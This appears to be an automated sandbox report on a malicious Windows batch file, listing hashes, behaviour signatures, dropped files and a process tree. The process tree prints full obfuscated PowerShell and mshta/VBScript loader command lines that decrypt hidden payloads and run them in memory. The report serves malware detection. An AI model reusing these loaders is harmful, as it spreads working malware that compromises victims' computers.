Overview

overview

10

Static

static

1

050efb70d5...ea.bat

windows7-x64

7

050efb70d5...ea.bat

windows10-2004-x64

10

Analysis

  • max time kernel
    29s
  • max time network
    80s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2023 02:23

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat

  • Size

    14.6MB

  • MD5

    9644bf6130818a23b7820e4441d84d6a

  • SHA1

    654d821a794488acba87a809e8eab889eb9845db

  • SHA256

    050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea

  • SHA512

    db83473f76f680fa8f93da5bfa71d2b396f4cef44d222e75430a09432c68b67e37c92ca56b7f5d54265cbbb44145df00a11ccf89c498a391af609a2976c6beb9

  • SSDEEP

    49152:VfcOj5SiJ6+FBW/rRNkFa34CG36ICLvbtSAKsASfycGoA+uVteH7ki8KjXtXH8xU:u

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 6 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:612
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{bb1443c9-1ce3-4c0c-9bb3-669574487b0e}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2652
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat"
      1⤵
      • Drops file in Windows directory
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\system32\net.exe
        net session
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:552
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          3⤵
            PID:4312
        • C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe
          "050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function mwWOh($uwovJ){ $lIKee=[System.Security.Cryptography.Aes]::Create(); $lIKee.Mode=[System.Security.Cryptography.CipherMode]::CBC; $lIKee.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $lIKee.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4/MHVPOJNXCgMmApeZ/aW7DfvfpDsQu0DAqCZk9AP30='); $lIKee.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRBc4aBzawKiY1avi58oMw=='); $epLsM=$lIKee.CreateDecryptor(); $return_var=$epLsM.TransformFinalBlock($uwovJ, 0, $uwovJ.Length); $epLsM.Dispose(); $lIKee.Dispose(); $return_var;}function XhrFJ($uwovJ){ $kffSF=New-Object System.IO.MemoryStream(,$uwovJ); $YpnXE=New-Object System.IO.MemoryStream; $ynBsy=New-Object System.IO.Compression.GZipStream($kffSF, [IO.Compression.CompressionMode]::Decompress); $ynBsy.CopyTo($YpnXE); $ynBsy.Dispose(); $kffSF.Dispose(); $YpnXE.Dispose(); $YpnXE.ToArray();}function btWsM($uwovJ,$rQWkL){ $vcWOa=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$uwovJ); $Zagwh=$vcWOa.EntryPoint; $Zagwh.Invoke($null, $rQWkL);}$chsAO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat').Split([Environment]::NewLine);foreach ($YTXXB in $chsAO) { if ($YTXXB.StartsWith('SEROXEN')) { $GBpWW=$YTXXB.Substring(7); break; }}$kYJLl=[string[]]$GBpWW.Split('\');$BbRnn=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[0])));$IqrGF=XhrFJ (mwWOh ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($kYJLl[1])));btWsM $IqrGF (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));btWsM $BbRnn (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2120
          • C:\Windows\SysWOW64\dllhost.exe
            C:\Windows\SysWOW64\dllhost.exe /Processid:{a58ceab9-4042-48ce-a7c7-c716d4bdf0fb}
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4020
      • C:\Windows\$sxr-mshta.exe
        C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-ghkpOQAYRIzJOVXtopMV4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
        1⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Modifies registry class
        PID:1588
        • C:\Windows\$sxr-cmd.exe
          "C:\Windows\$sxr-cmd.exe" /c %$sxr-ghkpOQAYRIzJOVXtopMV4312:&#<?=%
          2⤵
            PID:3048
            • C:\Windows\$sxr-powershell.exe
              C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function lgrcY($FyIpg){ $dRqUo=[System.Security.Cryptography.Aes]::Create(); $dRqUo.Mode=[System.Security.Cryptography.CipherMode]::CBC; $dRqUo.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $dRqUo.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gp+bf11QD7LA5w1KAfBFVVH5r4+0iGQjqXSWn2Y1B9c='); $dRqUo.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kUaH2U20BRjNPfuPAXXFbQ=='); $tXNBx=$dRqUo.('rotpyrceDetaerC'[-1..-15] -join '')(); $stpdc=$tXNBx.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FyIpg, 0, $FyIpg.Length); $tXNBx.Dispose(); $dRqUo.Dispose(); $stpdc;}function fKjEt($FyIpg){ $JrDwm=New-Object System.IO.MemoryStream(,$FyIpg); $RyeIy=New-Object System.IO.MemoryStream; $BOcth=New-Object System.IO.Compression.GZipStream($JrDwm, [IO.Compression.CompressionMode]::Decompress); $BOcth.CopyTo($RyeIy); $BOcth.Dispose(); $JrDwm.Dispose(); $RyeIy.Dispose(); $RyeIy.ToArray();}function YWrsB($FyIpg,$IkWKP){ $xdFai=[System.Reflection.Assembly]::Load([byte[]]$FyIpg); $kVkDZ=$xdFai.EntryPoint; $kVkDZ.Invoke($null, $IkWKP);}$dRqUo1 = New-Object System.Security.Cryptography.AesManaged;$dRqUo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$dRqUo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$dRqUo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gp+bf11QD7LA5w1KAfBFVVH5r4+0iGQjqXSWn2Y1B9c=');$dRqUo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kUaH2U20BRjNPfuPAXXFbQ==');$sDehR = $dRqUo1.('rotpyrceDetaerC'[-1..-15] -join '')();$nWnOP = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AAZIQOOgpbqkB+n56o1Ljg==');$nWnOP = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP, 0, $nWnOP.Length);$nWnOP = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP);$Rqeia = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Oqtp5tZBZnWxvm/e9TkZMySepw6aOd0bWiELstt3weM=');$Rqeia = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Rqeia, 0, $Rqeia.Length);$Rqeia = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($Rqeia);$MQXAO = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('o6U5a4EfeJKC83T62bAM4g==');$MQXAO = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($MQXAO, 0, $MQXAO.Length);$MQXAO = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($MQXAO);$yessg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PACCpO6e/sJF/F9HuqVqYx0hqoyrbxlhOS7mzeFy8gjVXKv5XV5q5eR/O9LnbnzoLufpRUlM37d1CuobbJxJwor2SxXLThxQJ83u6fzaBsfKPNpwhmMSNdXAIM4a2PDq6ARFXPoZepfa+C1aJ4yii4hfnBdUd+y7Fg5ztworfrltiGm4Oez+mG2jGh4b3zzhWHIz3sqNAalECorlS4fTQ014Det2a7+f17OGRGWgqNpMQlsrlSOCqspbTTOKOjhVz8mvQAxsh1+3anAnypJ0KmkDaFeYEQNz5Vm+3dthAm7Ca++MPSO+zVAZ6KbH1r6dDJIQYqrOMNeFbalb3qNYHHY51Z5Mh6aezm9eEZHh0WlpgwyFoxUJiJk587yy+YxKEMscQ5QM6Vt8X723u6czp+53Hzi1Edh9by/fb0q7hcs=');$yessg = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yessg, 0, $yessg.Length);$yessg = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yessg);$NxcVp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Qsnez7c2rrdeCDHscI37gg==');$NxcVp = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NxcVp, 0, $NxcVp.Length);$NxcVp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($NxcVp);$VNzOn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1HWlV/bxGQQp/adUeqyeug==');$VNzOn = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($VNzOn, 0, $VNzOn.Length);$VNzOn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($VNzOn);$LBiGo = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('de2LkRN1FNbjz2DwyDSzBQ==');$LBiGo = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($LBiGo, 0, $LBiGo.Length);$LBiGo = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($LBiGo);$vgAok = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jdtaTdnoPpm6u2F9YBdBVw==');$vgAok = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($vgAok, 0, $vgAok.Length);$vgAok = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($vgAok);$otApt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oCazDlKC3/RuJceTI9NwLQ==');$otApt = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($otApt, 0, $otApt.Length);$otApt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($otApt);$nWnOP0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BvFdeeqjqs+RnoMTXz1l2A==');$nWnOP0 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP0, 0, $nWnOP0.Length);$nWnOP0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP0);$nWnOP1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gw/hupVuHls8q6fnwZQGA==');$nWnOP1 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP1, 0, $nWnOP1.Length);$nWnOP1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP1);$nWnOP2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nPSW6EG5F7PbHHuRLnNIrw==');$nWnOP2 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP2, 0, $nWnOP2.Length);$nWnOP2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP2);$nWnOP3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p3JLVKt+3fzXaULi9g20wg==');$nWnOP3 = $sDehR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nWnOP3, 0, $nWnOP3.Length);$nWnOP3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nWnOP3);$sDehR.Dispose();$dRqUo1.Dispose();if (@(get-process -ea silentlycontinue $nWnOP3).count -gt 1) {exit};$BAJCZ = [Microsoft.Win32.Registry]::$vgAok.$LBiGo($nWnOP).$VNzOn($Rqeia);$Iiqcg=[string[]]$BAJCZ.Split('\');$StwuL=fKjEt(lgrcY([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Iiqcg[1])));YWrsB $StwuL (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$gnujL = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($Iiqcg[0]);$dRqUo = New-Object System.Security.Cryptography.AesManaged;$dRqUo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$dRqUo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$dRqUo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Gp+bf11QD7LA5w1KAfBFVVH5r4+0iGQjqXSWn2Y1B9c=');$dRqUo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kUaH2U20BRjNPfuPAXXFbQ==');$tXNBx = $dRqUo.('rotpyrceDetaerC'[-1..-15] -join '')();$gnujL = $tXNBx.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gnujL, 0, $gnujL.Length);$tXNBx.Dispose();$dRqUo.Dispose();$JrDwm = New-Object System.IO.MemoryStream(, $gnujL);$RyeIy = New-Object System.IO.MemoryStream;$BOcth = New-Object System.IO.Compression.GZipStream($JrDwm, [IO.Compression.CompressionMode]::$nWnOP1);$BOcth.$otApt($RyeIy);$BOcth.Dispose();$JrDwm.Dispose();$RyeIy.Dispose();$gnujL = $RyeIy.ToArray();$yQVmE = $yessg | IEX;$xdFai = $yQVmE::$nWnOP2($gnujL);$kVkDZ = $xdFai.EntryPoint;$kVkDZ.$nWnOP0($null, (, [string[]] ($MQXAO)))
              3⤵
                PID:1728

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\050efb70d521f74a42dcd63c703900433b03cf138fcfa1812705c8cb37deb1ea.bat.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_guxq1klp.sc0.ps1
            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            Download Submit

          • C:\Windows\$sxr-cmd.exe
            Filesize

            283KB

            MD5

            8a2122e8162dbef04694b9c3e0b6cdee

            SHA1

            f1efb0fddc156e4c61c5f78a54700e4e7984d55d

            SHA256

            b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

            SHA512

            99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            Download Submit

          • C:\Windows\$sxr-cmd.exe
            Filesize

            283KB

            MD5

            8a2122e8162dbef04694b9c3e0b6cdee

            SHA1

            f1efb0fddc156e4c61c5f78a54700e4e7984d55d

            SHA256

            b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

            SHA512

            99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

            Download Submit

          • C:\Windows\$sxr-mshta.exe
            Filesize

            14KB

            MD5

            0b4340ed812dc82ce636c00fa5c9bef2

            SHA1

            51c97ebe601ef079b16bcd87af827b0be5283d96

            SHA256

            dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

            SHA512

            d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

            Download Submit

          • C:\Windows\$sxr-mshta.exe
            Filesize

            14KB

            MD5

            0b4340ed812dc82ce636c00fa5c9bef2

            SHA1

            51c97ebe601ef079b16bcd87af827b0be5283d96

            SHA256

            dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

            SHA512

            d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

            Download Submit

          • C:\Windows\$sxr-powershell.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • C:\Windows\$sxr-powershell.exe
            Filesize

            442KB

            MD5

            04029e121a0cfa5991749937dd22a1d9

            SHA1

            f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

            SHA256

            9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

            SHA512

            6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

            Download Submit

          • memory/1728-59-0x00007FFAAD670000-0x00007FFAAE131000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/1728-60-0x000002EA6D7A0000-0x000002EA6D7B0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/1728-61-0x000002EA6D7A0000-0x000002EA6D7B0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2120-21-0x0000029A620E0000-0x0000029A620F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2120-22-0x00007FFACC7F0000-0x00007FFACC9E5000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/2120-28-0x0000029A11100000-0x0000029A1125E000-memory.dmp

            Filesize

            1.4MB

            Download

          • memory/2120-29-0x0000029A11260000-0x0000029A112B8000-memory.dmp

            Filesize

            352KB

            Download

          • memory/2120-30-0x0000029A112C0000-0x0000029A112D0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2120-31-0x00007FFACC7F0000-0x00007FFACC9E5000-memory.dmp

            Filesize

            2.0MB

            Download

          • memory/2120-11-0x0000029A7A450000-0x0000029A7A472000-memory.dmp

            Filesize

            136KB

            Download

          • memory/2120-16-0x00007FFAAD670000-0x00007FFAAE131000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/2120-17-0x0000029A620E0000-0x0000029A620F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2120-18-0x0000029A620E0000-0x0000029A620F0000-memory.dmp

            Filesize

            64KB

            Download

          • memory/2120-26-0x00007FFAB9200000-0x00007FFAB9219000-memory.dmp

            Filesize

            100KB

            Download

          • memory/2120-24-0x0000029A08320000-0x0000029A08F38000-memory.dmp

            Filesize

            12.1MB

            Download

          • memory/2120-23-0x00007FFACC1D0000-0x00007FFACC28E000-memory.dmp

            Filesize

            760KB

            Download

          • memory/2120-27-0x0000029A10F50000-0x0000029A110FE000-memory.dmp

            Filesize

            1.7MB

            Download

          • memory/2120-20-0x0000029A08000000-0x0000029A08024000-memory.dmp

            Filesize

            144KB

            Download

          • memory/2120-19-0x00007FFAAD670000-0x00007FFAAE131000-memory.dmp

            Filesize

            10.8MB

            Download

          • memory/2652-35-0x0000000140000000-0x0000000140004000-memory.dmp

            Filesize

            16KB

            Download

          • memory/2652-33-0x0000000140000000-0x0000000140004000-memory.dmp

            Filesize

            16KB

            Download

          • memory/4020-38-0x0000000000400000-0x0000000000406000-memory.dmp

            Filesize

            24KB

            Download

          • memory/4020-36-0x0000000000400000-0x0000000000406000-memory.dmp

            Filesize

            24KB

            Download